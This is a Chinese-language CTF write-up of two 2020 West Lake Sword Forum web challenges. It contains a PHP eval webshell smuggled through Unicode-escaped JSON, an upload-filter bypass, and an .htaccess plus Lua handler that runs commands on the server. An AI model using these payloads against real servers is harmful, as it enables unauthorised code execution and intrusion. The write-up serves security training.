2020西湖論劍Web復現
前言
- 總共5題,最簡單的easyjson都沒出。。。
題目
1、easyjson
- 題目原始碼
<?php
include 'security.php';
if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
//生成沙箱資料夾
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
//通過php偽協議來給content變數賦值,會獲取post傳入的資料
$content = file_get_contents("php://input");
// SecurityCheck在security.php中定義,黑盒函式
if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}
-
整體就很清晰,需要利用下面這句檔案寫入,就得明白
SecurityCheck
函式的作用。file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
-
獲取沙箱資料夾路徑很簡單,加一個
?source
就夠了。再讓action=write
,然後嘗試發現filename
變數檔名不能包含數字,那就來一個 a.php ,然後就是content
變數應該為json形式傳入資料。 -
但是直接post傳入
{{"content":"1"}}
的話,無顯示,當時就始終糾結在這裡,懷疑是不是上面哪裡有問題。。。看wp說是被過濾了,可以用unicode
編碼繞過。太菜了。淺談json引數解析對waf繞過的影響 -
將 content
unicode
編碼得到,再次嘗試。抓包post傳送請求。然後再訪問剛剛得到的沙箱目錄下的a.php
發現有回顯1,說明思路對了。再寫入php標籤時發現不解析,還是過濾了php關鍵字,但沒關係,同樣可以用上面的unicode
編碼繞過,但也可以用php短標籤,老知識點了
<?= ?>
?source&action=write&filename=a.php
post
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"1"}
-
所以就很簡單了,寫個一句話木馬也行,蟻劍連線,在根目錄下發現 flag 和 readflag 檔案,但 flag 檔案裡沒有 flag ,那就試試 readflag ,執行虛擬終端,執行
/readflag
成功得到flag{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?=@eval($_POST[1]);?>"}
- 關鍵就是這個unicode編碼繞過,之前對json接觸不多,不知道這個點,同時也是當時沒意識到這存在過濾。
2、 NewUpload
-
檔案上傳,過濾了檔案字尾名和檔案內容都過濾了php關鍵字,甚至短標籤的尖括號都不行,但是但是,沒想到居然可以通過換行來繞過來繞過字尾名檢測和用圖片馬來繞過檔案內容的檢測。
-
就能從phpinfo中發現disable_functions中禁用了很多函式。蟻劍有一個 bypass 它的一個外掛,但直接用不了。網上看到兩種方法
-
第一種就是利用
.htaccess
+lua
。lua是也是一種輕量化指令碼語言,在PHP環境中可以被解析 -
先上傳一個
.htaccess
檔案,作用是使lua檔案解析生效。.htacces AddHandler lua-script .lua
-
然後上傳一個
1.lua
檔案,再訪問1.lua
就能成功得到flag。
--[1.lua --]
require "string"
--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"
r:puts("Hello Lua World!\n")
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
- 然後第二種方法是彈shell,但是方法很複雜,有點難懂,參考這篇文章
最後
- 當時沒寫完,過了一段時間找不到題目了。。。就這吧
相關文章
- 2024西湖論劍-phpems-程式碼審計PHP
- 全新賽制!西湖論劍·2020網路安全技能大賽助力人才應對新挑戰
- 西湖論劍成長史丨從萌芽破土到枝繁葉茂
- 【西湖論劍】激發人才自我演進 護航數字時代安全
- 2022西湖論劍·工業領域網路和資料安全論壇在杭州舉行
- 西湖論劍·2021中國杭州網路安全技能大賽晉級名單公佈
- 自監督影像論文復現 | BYOL(pytorch)| 2020PyTorch
- 2022西湖論劍•網路安全大會 威脅情報及應急響應論壇在杭州舉行
- 西湖論劍·第五屆中國杭州網路安全技能大賽決賽正式啟動
- 戰火重燃!西湖論劍·2022中國杭州網路安全技能大賽正式啟動
- 2022西湖論劍丨十載砥礪奮進,攜手構建安全可信的數字世界
- 西湖論劍·2022中國杭州網路安全技能大賽線上初賽火熱開賽
- 2022西湖論劍·工業領域網路和資料安全論壇將於7月3日在杭州舉辦
- Split to Be Slim: 論文復現
- 2022西湖論劍•網路安全大會威脅情報及應急響應論壇將於7月3日在杭州舉辦
- 築牢數字安全屏障 西湖論劍·2022中國杭州網路安全技能大賽決賽正式啟動
- 共築網路安全教育技術產業良性生態,西湖論劍·教育技術產業融合創新發展論壇召開產業
- LEARNED STEP SIZE QUANTIZATION論文復現
- 亮劍INTERSPEECH 2020,思必馳10篇論文被收錄
- R-Drop論文復現與理論講解
- 論文復現|Panoptic Deeplab(全景分割PyTorch)PyTorch
- Squarified Treemaps 論文演算法復現演算法
- cve-2020-1472 漏洞復現
- 夜遊西湖
- ICML 2017大熱論文:Wasserstein GAN | 經典論文復現
- ThinkAdmin漏洞(CVE-2020-25540 )復現
- CVE-2020-5902 簡單復現
- 論文Anonymous Zether實驗復現(持續更)
- 實踐案例丨CenterNet-Hourglass論文復現
- 論文復現丨基於ModelArts實現Text2SQLSQL
- CVE-2020-1350 詳解與復現
- Perceptual Losses 風格遷移論文復現小記
- OpenSSH 命令注入漏洞(CVE-2020-15778)復現
- WEB基礎理論Web
- FCOS論文復現:通用物體檢測演算法演算法
- 小白經典CNN論文復現系列(一):LeNet1989CNN
- [永恆之黑]CVE-2020-0796(漏洞復現)
- CVE-2020-0796永恆之黑復現POC EXP以及修復方案